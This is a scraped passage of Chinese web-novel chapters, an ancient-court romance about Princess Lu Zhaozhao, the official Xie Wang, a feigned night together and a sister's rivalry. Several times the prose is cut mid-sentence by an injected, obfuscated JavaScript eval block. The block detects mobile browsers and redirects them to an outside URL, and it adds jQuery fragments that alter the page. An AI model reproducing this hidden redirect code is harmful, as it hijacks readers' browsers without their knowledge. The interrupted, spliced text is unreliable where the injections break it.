- 翌日一早,傅宝嘉的邀约递至曦光殿。 陆朝朝睁开眼,头有些痛。她坐起身,想到昨晚的事,又叹了声。 待梳洗装扮后,用了早膳,陆朝朝出宫见傅宝嘉。 二人约在万柳亭相见。 傅宝嘉喜气洋洋,眉目之间都洋溢着喜悦,她与薛仲霖的亲事已经定下,开始筹备。她父亲想办法让薛仲霖留在京中为官,虽然官职不高,但只要薛仲霖争气,日后也不会太差。 与傅宝嘉比起来,陆朝朝堪称愁云惨淡。 她一只手撑在栏杆上,抓了一把鱼食洒进水中,傅宝嘉见状问她:“怎么了朝朝?怎么没精打采的?上回我给你支的招有用没?谢妄什么反应?” 陆朝朝点点头:“有用啊,谢妄当时被吓到了,似乎很难置信。” 傅宝嘉有些难以想象谢妄的反应:“那你该高兴才是,怎么还垂头丧气的?” 陆朝朝叹了声:“这件事我是高兴啊,可是还有不高兴的事嘛。昨日琼林宴上,二皇姐向父皇请求赐婚她与章安澜。” 傅宝嘉声音陡然变大:“什么?为什么啊?她是不是瞧出你喜欢章安澜了,所以故意跟你抢?陛下不会同意了吧?” 陆朝朝摇头:“那倒没有。可是父皇问章安澜意下如何,章安澜拒绝了,他说他有心上人了。” 她说着,又重重一声叹息。 傅宝嘉啊了声:“他……他怎么能这样!” 傅宝嘉拍了拍陆朝朝的肩安慰道:“朝朝,你别太伤心了。要我说,这章安澜也配不上你,咱们找个更好的。” 陆朝朝散漫地把手中的鱼食全投进河中:“风荷也这么说,可是比章安澜还好的郎君,世上哪有这么多?” 河中的金鱼争先恐后地游过来争抢鱼食,陆朝朝眉眼耷拉下来,转过身靠着栏杆:“而且昨天晚上谢妄好像已经发现了我骗他的事,琼林宴后来找我算账,还嘲讽我。” 傅宝嘉的嗓音变了变:“谢……谢妄……” 陆朝朝垂着眸子:“你这么惊讶干嘛?” 傅宝嘉摇了摇头:“不是啊,朝朝,我是说,谢妄他好像过来了……” 9. 第九章 傅宝嘉指着不远处,正有一道玄色身影朝她们走近。 陆朝朝脸色变了变,嘟囔道:“他怎么在这儿?完了完了,他肯定是来找我算账来了,怎么办宝嘉?这人也真是的,都说了我心情不好了,让他改天,结果他第二天就来了,也太不近人情了吧。” 陆朝朝有些慌乱,她料想谢妄得知自己被骗,定然勃然大怒。虽说他也不能拿自己怎么办,但他那张狗嘴说的话那般难听,听一句都要气死了,若是叽里咕噜地说一堆,她才不要听。 “要不你先拖住他,我先走一步。”陆朝朝撂下这么一句,便匆匆带着风荷她们往另一边离开。 谢妄的确是冲着陆朝朝而来。 昨夜他本想问陆朝朝,她究竟想要自己如何负责。这件事牵扯到的东西颇多,譬如说,但她已非完璧一事绝不能让旁人知晓,否则有损她的名声,再则,她日后若是出嫁,此事要如何瞒天过海?若是她需要,他自然可以帮她。 谢妄走进万柳亭时,亭中只余傅宝嘉一人。 他好看的眉头微蹙。 傅宝嘉挡在他身前,尴尬地笑了笑:“谢大人,这么巧,你也来看风景啊?这里风景确实不错哈,你看这树,多绿啊,你看这天,多蓝啊。”她硬着头皮拖延时间。 谢妄瞥她一眼,并不理会,直白发问:“殿下呢?” 傅宝嘉眨眨眼,装傻充愣:“什么殿下?谢大人在说什么?这里只有我一人啊。” 谢妄并不信她的话,眸光越过傅宝嘉,落在不远处匆匆而去的倩影之上。 他提步便走,傅宝嘉赶紧拦在他跟前:“谢大人,你……你……你用过早膳了吗?” 谢妄眉头微低,自然明白她的意图,只道:“殿下不愿见我?” 傅宝嘉心想你这来势汹汹的样子,还要找她算账,她能愿意见你才有鬼吧。但这话不敢当着谢妄的面说,只好挤出一个笑容:“你早上吃了什么?好吃吗?” 她什么也不敢说,只好一味装傻。 谢妄眸色沉了沉,淡淡开口:“你若是再拦我,休怪我不客气。” 傅宝嘉眨了眨眼,默默往旁边挪开两步。 对不起了朝朝,我已经尽力了,可是她真的很怕谢妄…… 这么久了,朝朝应该也走远了。 谢妄越过傅宝嘉,追上陆朝朝的背影。 傅宝嘉看着谢妄的背影,拍了拍心口,又看了眼更前方,陆朝朝的背影已经很远很远了,她这才松了口气。 陆朝朝没指望傅宝嘉能拦住谢妄太久,傅宝嘉一向很怕谢妄,故而她步履飞快,恨不得立刻长出翅膀飞走。只可惜,她走得再快,谢妄毕竟是个男人,步履比她更快。 原本两人之间还差一大截,可渐渐地,距离越来越小。再这样下去,马上就要被他追上了。 她慌张地环顾一圈,目光落在不远处的小船上,情急之下,陆朝朝掀开帷幕,钻了进去。 她动作匆忙,故而踩住了自己裙摆,一时踉跄,身子往前倾倒,扑在了船舱中。眼看着要摔跤,一双大手稳稳地扶住了她的小臂。 陆朝朝怔了怔,抬眸,对上一双含笑的凤眼。 “参见殿下。”章安澜松开手,嘴角噙着一抹笑。 陆朝朝脑子里只有温润君子四个字。 她没想到会在这里见到章安澜,油然而生一股惊喜之情,唇边的弧度也仿佛被春风吹过,正要漾开时,却陡然记起他昨日说过的话,他已经有心上人了。 顿时又寒霜过境,吹落了那抹弧度。 陆朝朝稳住身形,敛了神色:“抱歉,打扰了。” 章安澜微微一笑:“无妨,殿下神色匆忙,可是出了什么事?可有我帮得上殿下的地方?” 陆朝朝摇摇头:“……没什么要紧的事。” 她垂下眸子,有些失落。 他果真是个极好的人啊,可是…… 才想罢,便听得外头传来脚步声由远及近。 陆朝朝连忙朝章安澜做了个噤声的动作,而后竖起耳朵观察外头的动静。 只听见脚步声停在了船边,而后安静下来。 陆朝朝皱眉,怎么没声音了? 她贴近帘幕,谢妄走了吗? 下一瞬便听见了谢妄的声音:“殿下,臣想和殿下谈谈。” 陆朝朝声音垮下几分:“你怎么知道我在这儿?” 谢妄道:“殿下的裙摆露出来了。” 陆朝朝低头,发觉自己的裙摆还真露出一个角在外面。 章安澜听出了谢妄的声音,目露疑惑地看向陆朝朝,正欲开口询问:“殿下……” 陆朝朝叹了声:“我……我有些事,先走了。” 她撩开帘幕,想了想,还是回头道:“今日见到你很开心。” 她跨出帘幕,听得身后的话语:“能见到殿下,我也很开心。” 陆朝朝动作一顿,唇角又要往上翘,抬眸对上谢妄的脸,唇角又压了下去。 谢妄并未料到船中还有其他人在,瞥了一眼,只见深色的帘幕遮住了船中人的样貌,看不分明。 他收回视线,看向陆朝朝。 陆朝朝从船上走下来,不小心又一次踩到了自己的裙摆,她身形一晃,眼看着又要跌入水中。太似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035900|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾相识的场景,上一回在跃龙池她就是这么落水的,她猜想谢妄肯定不会伸手相救,所以这回学乖了,直接抢先一步拽住了谢妄的衣服,不给他躲开的机会。 她本以为谢妄一个大男人,又站得好好的,总不至于被她拽下去,反而能让自己也站稳。可谢妄竟是愣了愣,而后与她一同跌进了河中。 二人从水面冒头,陆朝朝皱着眉,看向同样狼狈的谢妄,很是不满:“你就是想报复我,也不用伤敌一千,自损八百吧?” 她觉得谢妄是故意不拉住她,就像上次那般,毕竟他有过前科。 谢妄还有些愣,直直地盯着陆朝朝。 方才她身形摇晃之时,他已然伸出手想要拉住她,可她忽地伸手,身影换了位置,便让他的手臂正好从她胸前擦过。 即便隔着布料,他也感觉到了那处的柔软。 这实在是一种新奇又诡异的体验,又仿佛一把钥匙,再次打开了他的梦。谢妄完全怔住了,这才失了力气被她拉入水中。 手心那种奇异的触觉仿佛还残留着。 谢妄压低眉头,收回思绪,听见陆朝朝的话:“都怪你,我要是再病了,我跟你没完,谢妄。” 她可不想再喝姜汤,也不想再喝药了。 她嘴唇一张一合,吐露着对他的抱怨。 她的唇色嫣红,应当是涂了胭脂,还有些水润的光泽,似乎又很柔软。 他眸光无意识地往下,落在她胸前。 因着被水淋湿,她胸口处的布料变得有些透明,露出了若隐若现的春光,山峦高耸,白得晃眼。 意识到自己在想什么后,谢妄面色一沉,忙不迭看向一旁的水面。 他注意到她方才的话,上回她落入跃龙池后,病了。他记得,那几日曾听陛下提及此事。 谢妄道:“殿下还是快些上岸,莫要着凉。” 他这话一出,陆朝朝仿佛见了鬼一般。他竟然还会说这种关心人的话? 陆朝朝诧异地看了他一眼,不甚明朗他的动机,这让陆朝朝很是不安:“你到底想怎样?” 谢妄:“不是臣想怎样,而是殿下,想要如何?” 他在讲绕口令吗?陆朝朝听得头都大了,有话能不能直说啊? 算了,他说的话她未必想听。 陆朝朝垮下脸,忽地记起一件重要的事,谢妄水性不好,他不会游泳。 陆朝朝歪头笑了笑:“本宫先走了,你就在这儿等着你的仆从过来救你吧,下次再会咯,谢大人。” 说罢,陆朝朝便朝着河岸游去。 谢妄看着她的背影,失神良久。 10. 第十章 千山他们来得极快,将谢妄救了上来。 “公子,您没事吧?”他们小心翼翼开口。 谢妄沉着一张脸,脸色不算好看。 千山他们自然明白公子为何不悦,公子喜洁,这河水可算不得干净,公子浑身湿透,又如何能心情好?再则,方才他们在不远处目睹了一切,公子与昭阳公主此番对峙似乎落了下风,从前公子可一直是占上风的。公子一向骄傲,恐怕也难以接受。 谢妄默不作声,有些嫌恶地看了眼身上的衣裳,只让他们备马车回谢府。 他的确心情不好,有一部分缘由是因为他掉进了河里,河水很脏,现在他浑身都很脏,他讨厌被弄脏。还有一部分缘由,是因为方才奇异的感觉。 谢妄坐在马车内,湿哒哒的衣裳贴着肌肤,这让他有些焦躁,而回忆起那种奇异的感觉,更让他焦躁。 他深吸了一口气,压下心头的焦躁,只吩咐他们把马车驾得更快。 - 陆朝朝跑得很快,她怕谢妄回过神来继续找自己算账,离开了万柳亭,直奔马车,让他们赶紧回宫。 坦白说,她真的不知道谢妄想干嘛,他气势汹汹地跑过来找自己算账,结果好像就说了一句绕口令,这都不像谢妄了,他应该劈头盖脸就说几句难听的话才对,然后用那张冷冰冰的脸摆出一副目中无人的神色。 “他不会憋着什么大招吧?”陆朝朝接过风荷递来的干净帕子将白净的小脸擦了擦,喃喃自语。 衣裙都打湿了,贴在肌肤上黏黏腻腻的一点都不舒服,陆朝朝瘪嘴,又低骂了谢妄一句:“跟瘟神一样,见到他就没好事。” 想到上回生病的事,陆朝朝让他们快些驾车回宫,她要沐浴更衣。 陆朝朝步履匆匆,身上衣裳还湿透了,头发也湿哒哒的,好不狼狈。 陆皎月没料到会撞见陆朝朝如此狼狈的模样,不由得勾动唇角,嘲弄道:“三皇妹这是怎么了?莫不是嫌天气太热,跳进金鳞池里凉快凉快?” 左右只要陆朝朝不高兴,她就高兴了。 本来就好烦,还要被她嘲讽。陆朝朝小脸更垮,不想跟她多费功夫,只说:“不劳三皇姐挂心。” 说罢,便越过陆皎月走了。 陆皎月看着她的背影,眼底闪过一丝阴森,她仗着父皇宠爱,从来不把自己这个皇姐放在眼里。 可是她凭什么?就凭她那个早死的母妃么? 那个贱人都已经死了十七年了。 陆皎月紧紧咬住唇,片刻后松开,道:“去慈元殿。” 慈元殿是中宫居所,陆皎月来时,皇后正在礼佛。 “皎月来了。”皇后微微一笑,朝佛龛上的观音拜了拜,而后将手中的香插|进香炉之中,“谁又惹你不高兴了?” 陆皎月别过脸,她一向觉得皇后太过软弱,不争不抢的,所以这才让那个女人抢走了属于她们母女的东西。 “还能是谁?不就是那个贱人的女儿?”她恨恨道。 皇后脸色变了变:“皎月,不得胡言乱语。” 陆皎月不满:“母后……” 皇后转移话题:“听闻你前些日子看中了章家那位五公子?” 陆皎月嘲弄一笑:“是啊,可我向父皇请求赐婚,父皇却不肯。” 皇后在榻上坐下,撑住额角:“听闻那章公子已经有心上人了,所以你父皇才不肯。” 陆皎月冷笑:“才不是,若是换了陆朝朝开口,父皇定然会答应的。别说他有心上人,就是他成了婚,只要陆朝朝想要,父皇定然会赐死他的妻子,让陆朝朝嫁给他做正妻。” 这就是她亲爱的父皇。 皇后一时哑口无言,她自然知晓这是崇光帝能做出来的事,只是她觉得女儿对陆朝朝的执念太深了,让她有种不安之感。她轻叹一声,劝道:“皎月,你的执念太深了,放下这些吧。” 陆皎月眸色一凛,语气不解:“母后,你难道就不恨吗?她差点抢走了你的皇后之位,她死了,她的女儿又抢走了属于我的宠爱,你难道就一点都不在乎吗?” 皇后闻言,闭上眼,遮住了眼中的情绪,语气却仍是那般温婉贤良的模样:“皎月,不论如何,那些事都已经过去了,贤妃已经去世多年。至于昭阳,她不过是个不懂事的小姑娘,何况她自幼没有母妃,你又何须处处与她相争呢?” 陆皎月咬牙切齿:“她没有母妃与我何干?是贤妃自己短命,生下她就去世了。” 皇后脸色又是一变:“皎月,你不该如此说,贤妃毕竟是为了救你父皇才……” 陆皎月腾地起身:“罢了,儿臣乏了,先告退了,母后好生休息。” 话落,她已经大步跨出宫门,只留给皇后一个背影。 出了慈元殿,陆皎月抬眼望了望刺眼的阳光,喃喃道:“我就是要同她争,这些本该是我的,我要拿回属于我的一切,我要她消失!” - 谢家。 谢妄下了马车,大步流星往明心堂走,途中遇上谢谦与郑婉然带着谢绵绵在庭中散步。 谢妄匆匆打了个招呼就走,谢绵绵看着谢妄的身影,童真道:“小叔这么大的人了,也爱玩水哦。” 谢谦笑了笑,也觉甚是疑惑,他极少见到这个弟弟这么狼狈的样子,叫住万山询问发生何事:“这是怎么了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035901|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 万山哪里敢把公子的糗事抖落出去,打圆场:“回大公子,二公子出了些意外。” 谢谦见问不出什么,只好作罢,转而说起另一桩事:“哦对了,你与那姑娘如何了?我让缜之转告你,千万保管好钱财,他可告诉你了?你没被骗吧?” 万山一头雾水:“什么姑娘?属下怎么不知?” 谢谦面露惊讶,看了眼谢妄离开的方向,又看一眼谢妄,明白了什么,忽地失笑。他这弟弟,还真是…… 联想到那日谢妄的话,谢谦面露难色,弟弟自幼聪慧,可在男女关系上不曾开窍,会被骗也寻常。他这做兄长的,该提点提点才是。 谢谦松开谢绵绵的手,让郑婉然带她回去:“绵绵,你跟阿娘回去玩好不好?爹爹有些事情要找小叔聊聊,乖。” 谢绵绵抱住郑婉然,乖巧点头:“好哦。我知道爹爹要去干嘛,原来大人玩水也会被骂哦。” 郑婉然忍俊不禁,摸了摸谢绵绵的脑袋:“小机灵鬼,所以以后不要随便玩水了知道吗?” 谢谦在明心堂中略等了等,谢妄从净室换了干净衣服出来,见到谢谦在,有些意外。 “兄长怎么来了?” 谢谦捧着茶盏,迟疑着开口:“缜之,你老实同我说,那姑娘是什么人?姓甚名谁?家住何处?” “什么姑娘?”谢妄一怔,随后反应过来,恐怕兄长已经猜到了。他微微垂眸,在谢谦对面的竹团上坐下,给自己倒了一盏茶。 “我不能告诉兄长。”谢妄道,“此事事关重大,还请兄长替我保守秘密,此事万不可让第三人知晓,于她清名有碍。” 谢谦有些惊讶,他这弟弟似乎被骗得不轻…… 他斟酌着措辞:“好,我答应你,不会告诉第三个人。只是,你不告诉我她是谁,总可以告知我一些旁的东西吧,我也很是好奇,到底是怎样的姑娘,能让你如此神魂颠倒。” 谢妄纠正兄长的用词:“我并未为她神魂颠倒。” 谢谦点头:“是,没有。所以,她漂亮吗?” 谢妄敛眸,轻饮一口杯中茶水:“嗯。” 陆朝朝自然漂亮,这无可否认。或许人与人有主观偏见,但真正的美貌是客观的,陆朝朝的美貌便是如此。 只是他对女子的美貌不感兴趣,所以也不曾过多关注过。 可他说这话的时候,脑海里却浮现出他们二人同在河水之中,她的脸近在咫尺,春日的阳光从她面上洒落,仿佛给她镀了一层浅金光辉。她的肌肤白皙,睫羽浓密而纤长,眼睛更是大而莹润,至于嘴巴,更是红润而柔软。 谢妄眉头微皱,他怎么会记得这么清楚? 11. 第十一章 窗牖半敞,春日的暖阳和和融融落在二人面前的矮桌上,光影幢幢,映在谢妄细长的手指上。他指节微曲,轻轻咳嗽一声。 谢谦目露诧异,看着坐在阴影里的身影,他长这么大第一回听见他这弟弟夸赞女子美貌,当真惊奇。 他掩下心中惊涛,面上不露声色:“是么?能从你口中听得赞许,想来这位不知名姑娘应当是个天仙似的人物。所以,你是喜欢她的容色?” 谢妄俊秀的眉毛一蹙,纠正兄长的用词:“我并不喜欢她。” 谢谦并不反驳,笑着顺应:“好,你不喜欢她。不知她与常宁郡主相比,是否更胜一筹?” 当年那场京城第一美人的评选闹得轰轰烈烈,最后花落常宁郡主头上,还是因着谢妄选了常宁郡主。自那场评选之后好一段时间,一直有传闻道谢妄喜欢常宁郡主这般的,后来二人一直并不相熟,这才渐渐作罢。 谢谦还记得这事,虽说他不认为自家弟弟喜欢常宁郡主,但毕竟这是为数不多同缜之传过绯闻的女子,何况当时那一票确确实实是缜之自己投的。 谢妄不知他为何突然提及常宁郡主,但还是在心中诚实地将陆朝朝与萧紫渔比了一番,最后公平公正地得出结论:“更胜一筹。” 谢谦心中的奇异更甚,也就是说,这位不知名姑娘拥有非同一般的美貌了?只是若有这种人物出现,何至于京城中竟没有一点风声? 不论是世家贵女,或是寻常官家小姐,哪怕是风尘女子,倘使她拥有这等美貌,都不可能籍籍无名。 或许是新搬至京城的?亦或者是缜之情人眼里出西施? 谢谦不好再多追问,只好问起另外的:“那这位不知名姑娘,她身形如何?是胖还是瘦?” 谢妄道:“身形窈窕,恰到好处。” 他说这话时,脑海中浮现出她的身影。时下女子皆以瘦为美,甚至有些女子为了追求极致的瘦将自己饿得瘦骨嶙峋,活像两根竹筷子披了人穿的衣服,哪里好看,毫无美感。陆朝朝也瘦,但还未到那种程度,何况她虽然瘦,但肉却长在合适的位置。 他脑中闪过这么一句,紧跟着便想起了不久之前他搂过她的腰,盈盈一握。又想到她的衣裳被水打湿后,白皙的肌肤,与…… 谢妄手指不自然地动了动,他掩饰得极好,只当无事发生,将脑海中的画面撇开。 谢谦若有所思地哦了声,愈发觉得弟弟已然被迷得七荤八素,又问:“那她性子如何?是不是温柔体贴,善解人意?” 那些仙人跳的骗局一向如此,女人扮得温柔体贴,待男人坠入温柔乡,再装得楚楚可怜。 谢妄摇了摇头:“她与温柔体贴沾不上边,娇生惯养长大的,有些小脾气,不过倒也还好。” 世家贵女有些脾气很寻常,更遑论她是天家公主。 谢谦愈发不解,笑了笑:“原来你喜欢这种类型的姑娘,难怪阿娘给你相看的那些都没成。” 谢妄再次纠正:“兄长,我不喜欢她。这件事实属意外。” 谢谦仍笑着:“好好好,你不喜欢。听你的意思,你已经确定你们之间的确发生了些什么是么?既如此,你打算如何处理?” 谢妄垂下眸:“我不知道,此事到底是我对不住她,且看她想如何处理。” 谢谦轻叹一声,只觉得十分棘手,看起来这个弟弟已经对人家深信不疑,恐怕他说什么他都听不进去。谢谦一时不知如何说了,只好叮嘱谢妄:“你放心,此事我会替你保守秘密。只是,缜之,你一向聪慧,我相信你有你的判断,你会处理好这一切的。只是……若是不久之后,这位姑娘告诉你,她有了身孕之类的,你最好还是谨慎些。”这也是仙人跳常用的招数。 待出了门,谢谦又叹一声,他真是不知道怎么劝,估摸着他如今说什么缜之也听不进去了。不过他们谢家家大业大,即便那女子谋些钱财,倒只是小事。就怕他这弟弟情窦初开,就受这种蒙骗,对他的心灵会造成不小的打击。 谢谦走后,谢妄还在桌边坐着发愣。 方才兄长说什么来着? 有孕? 他眸色一怔,完全忘了还有这回事。 他不知道陆朝朝会不会知道,以她的脑子,想来应当也不会记得。都过了这么久了,再喝避子汤也来不及了,若是万一…… 谢妄只觉一阵头大。 心里记挂着这件事,谢妄特意在两日后觐见陛下时等到了陆朝朝。 陆朝朝是来千福殿见崇光帝的,没想到谢妄也在。 “父皇……” 陆朝朝声音戛然而止在瞥见谢妄的时刻,他怎么在这儿? 她移开视线,看向崇光帝,“父皇若是在忙,那我去旁边等一会儿好了。” “无妨,已经结束了。”崇光帝看了眼陆朝朝手边的食盒,笑容慈祥,“朝朝给朕带了什么好吃的?” 陆朝朝笑着打开食盒,捧出其中的碗:“父皇,这是我亲手做的莲子羹,父皇尝尝。” 陆朝朝说罢,看了眼谢妄,这人怎么没一点眼力见,还不走? 岂料下一句,崇光帝竟开口:“缜之啊,来,你也尝尝朝朝的手艺。” 崇光帝说着,拿了一碗递给谢妄。 崇光帝还是想撮合他们俩,谢妄是年轻一辈中他最为欣赏的,他有能力,又背靠谢家,是个不错的归宿。朝朝若是能嫁给他,待自己百年之后,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢妄这才继续说下去:“殿下那日之后可曾服过避子汤?” 陆朝朝眉头皱成一团,被谢妄问得愣住了。 避子汤?什么避子汤?她好端端的喝什么避子汤?他才有病吧? 她心里正骂他,忽地反应过来了。 她眨了眨眼,看着谢妄,他好像没有发现那是骗他的? 不对啊,他不是一向自诩聪明人么,怎么连这么拙劣的骗术都信。 不过信了好啊,陆朝朝嘴角漾出一抹弧度:“没有啊,怎么办呢?” 她清凌凌的嗓音从他面前传来,尽管他低着头,看不见她的嘴唇一张一合,却能想象出那模样。 昨日夜里,那双唇曾经在他梦里被他咬住。 12.第十二章 不同于前些日子那旖旎香艳的梦,昨夜的梦只有一个吻。 在他梦里,她涂着鲜艳的唇脂,眉目微怒,是同他生气。但他记不清梦里为何她与自己生气,左右她总是同他生气的,她气急败坏地叫他的名字:“谢缜之!” 他见她如此恼怒,想着如何哄她莫要生气,也不知怎么,便低头吻了下去。 梦惯常光怪陆离,毫无逻辑。 梦中的他心想,原来她的唇果真如此柔软,她的唇脂颜色鲜艳,味道却些微的甜,丝丝缕缕地钻进他心脾,引诱他往更深处想。他无师自通地撬开她的牙齿,唇齿相缠。 这个梦到这里便结束,余下幽幽的月光照了满室,散不去。 谢妄怔怔没作答,陆朝朝当他是为此事棘手,逗弄他的心思更深,故意叹了声,作出一副愁苦的神情,问他:“那若是我不幸有孕,你打算怎么办?” 谢妄回过神来,听见陆朝朝这一句,思绪微微一滞,道:“臣会向陛下求娶,不论殿下想不想嫁。” 若当真如此,也没有别的办法了。没有身孕尚且能瞒天过海,可有了身孕,那便另当别论了。 陆朝朝脸色变了变,面露嫌弃:“谁要嫁给你?” “你放心吧,不会有孕的。”压根什么都没发生,哪里会有什么身孕。 朝朝想着,又觉得谢妄怎么这么笨,兀自有两分得意。 谢妄为人谨慎,觉得此事马虎不得,还是道:“殿下仔细留意,若是有什么,务必告知臣。” “哦。”陆朝朝随意地应了一声。 谢妄又道:“臣还有一件事与殿下说,不知殿下想要臣如何负责?” 陆朝朝并未立刻作答,作出了沉思的姿态,下巴微微抬高了些,目光饶有兴味地在谢妄身上扫。她从未想到自己的胜利持续得这样久,谢妄抛弃了那些牙尖嘴利的高傲姿态,恭恭敬敬地在她面前俯首称臣,这让朝朝实在快意非常,她的笑容都要压抑不住。 其实已经压抑不住了,她嘴角都快要翘到天边了,好在谢妄始终垂着脑袋,并未瞧见。陆朝朝收了几分笑意,开口:“唉,你除了娶我?还能怎么对我负责呢?你堂堂谢大人、谢家二公子当然觉得娶别人姑娘家是对别人的恩赐似的,可我偏不想嫁你,我是公主,身份尊贵,不必图你谢家的门楣。至于你,我就更看不上了。” 她轻哼了声,继续说:“这样吧,你日后得听我的话,如何?” 她更细地解释:“我说东你不能往西,我说什么话你都要赞同,不可以反驳,不可以唱反调,更不可以阴阳怪气地讽刺我,我让你做什么你就做什么。” 陆朝朝一面说着,一面在脑海中想象着支使谢妄,谢妄任劳任怨的样子,蓦地一阵笑出声来,像银铃似的。 谢妄低头听着,答应得很爽快:“可以。” 陆朝朝觑他一眼,将信将疑地说了一句:“那你现在学声狗叫给我听听。” 谢妄闻言抬头,那张疏淡的脸上终于有了一丝裂缝。 他长这么大从来没有听过这么无理的要求。 谢妄看着陆朝朝,陆朝朝不甘示弱地同他对视。 她就是故意作弄他,眉目里的狡黠一点不藏,明晃晃地摆在她好看的眼睛里。 她的眼睛大而莹润,像嵌了两颗天上星子,忽闪忽闪的,叫人心里无端发痒似的。谢妄喉头微哽。 二人僵持许久。 谢妄实在做不来这种事。 陆朝朝摇头:“果然,你根本就做不到,唉,算了吧。” 谢妄神色微动,终于缓缓启唇,面无表情地吐出一个音节:“汪。” 他的语调平缓而冷淡,其实和狗叫一点也不像,甚至也没什么滑稽的意味,平淡到好像他说了一句哦。但想到是那个目中无人的谢妄,朝朝不由捧腹大笑。 一刹那,陆朝朝丢了自己身为公主的矜贵,只记得大笑,笑到前仰后合,几乎要喘不上气来。她深吸了口气,快要站不住,拍了拍谢妄的肩,而后顺势扶住他的肩膀,一面笑一面“夸”他:“谢缜之,没想到你学狗叫还挺有天赋的嘛。” 她靠得近了,身上幽微的香气一阵阵地往他鼻腔里钻,像梦里他嗅过的气息。若是再稍微侧一侧头,便能看见她的红唇白齿。 谢妄身形僵住,因着她的靠近,也因着她讽刺的笑。 他此生从未做过如此丢人现眼之事。 他的心已经沉到谷底,脸色也难看至极。 陆朝朝当然瞧见了他的脸色,她松开手,止住笑意,见好就收。 “行了,你还有别的什么事吗?没有的话,退下吧。”她笑得眼尾都红了,有些零星的泪花,用白皙的指腹擦去。 谢妄往后退开一步,冷冷道:“臣告退。” 陆朝朝看着他背影步履匆匆离去,又忍不住笑了起来。 谁会想到呢,惊才绝艳的谢缜之学狗叫。 千福殿中,崇光帝将方才的一幕尽收眼底,露出了一个欣慰的表情。 “你说,朝朝和缜之是不是很般配?”他问林顺。 林顺笑说:“这是自然,昭阳公主与谢大人郎才女貌,登对得很呢。” - 谢妄一路心情极差,始终冷着张脸。 千山与万山二人也不知方才发生什么,只都静默不敢触他霉头。 没想到待回到谢府,还有令谢妄更不高兴的事。 林娇邀了一位姑娘来府上做客,说是做客,其实是为谢妄相看。 林娇也不想如此操心,可她这小儿子一点不省心,靠他自己定是要孤独终老,只能她多费些心思了。 林娇叫住谢妄,道:“缜之,你回来得正好,你替我陪柳姑娘去园子里走走。” 谢妄正欲发作,林娇当即扶住额角摇摇欲坠得模样:“哎哟,我这头痛得厉害,不知道是不是上回落下的毛病,改明儿得让程大夫来看看。” 谢妄只好咽下话头,看了眼那位柳姑娘,很不情愿地应下,引她往园子里走。 他大步流星地往前,压根不理那柳姑娘,没片刻功夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039487|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经把园子走了一圈,柳姑娘一路在他身后追,跑得有些气喘吁吁,好容易见他停下,如释重负,还未及开口,便听谢妄说:“逛完了,柳姑娘请吧。我还有些事情,失陪。” 谢妄如此不加掩饰,柳姑娘也明白他的意思,自觉尴尬没趣,索性往林娇那儿道了别,走了。 谢妄回到明心堂,心里带着气地坐下,还在想陆朝朝竟让他做这种事。 他心高气傲,只觉得咽不下这口气,堵在胸口压着,闷闷的。若是换了从前,他不会这样娇惯她,他思绪敏捷,能说会道,从来只有她气急败坏的时候,就像他梦里那般。 梦里的场景又一晃而过,谢妄没顺着往下想。 可偏生他今日答应了她,以后都要听她的话。以她的性子,说不准还有多少这样的事要他做。 谢妄自胸中吐出一口浊气,心不停地往下沉。 仿佛他从此在脖子上套上枷锁,再没有自由的时刻,屈辱得像那刑部大牢里的人犯。而那枷锁另一头的绳子,牵在陆朝朝手上。 这种滋味让谢妄不好受。 他厌烦这种滋味,厌烦如今同陆朝朝的关系,倘若没有那天晚上发生的事,那一切都不会变成现在的样子。 谢妄阖上眸子,手肘撑在方几上,听见门外脚步声匆匆逼近。 林娇跨进门,垮着脸训他:“你做什么给人家摆脸子?一点待客之道都不懂,再怎么说人家是我的客人。” 谢妄说:“既是你的客人,做什么要我招待?” 林娇看他这样子更来气了:“你啊你啊,这辈子打光棍去吧,以后死了也一个人埋谢家祖坟里。我真是被你气死!” 林娇说着,走近谢妄身边,绕着他说道。 忽地目光一顿,只见谢妄肩膀处竟勾了一只女子的耳珰。 林娇惊诧不已:“好啊你,出息了!” 林娇取下耳珰,放在眼前端详。 一只上好的翡翠珍珠耳珰,翡翠与珍珠成色都极好,一看便知是女子物什。 “谁的?”林娇目光如炬。 许是陆朝朝靠在他肩膀时掉的,谢妄伸手要拿,林娇抬手躲过谢妄,将那耳珰攥在手里:“你这般紧张?不对劲。是不是你的心上人?” “不是。”谢妄否认。 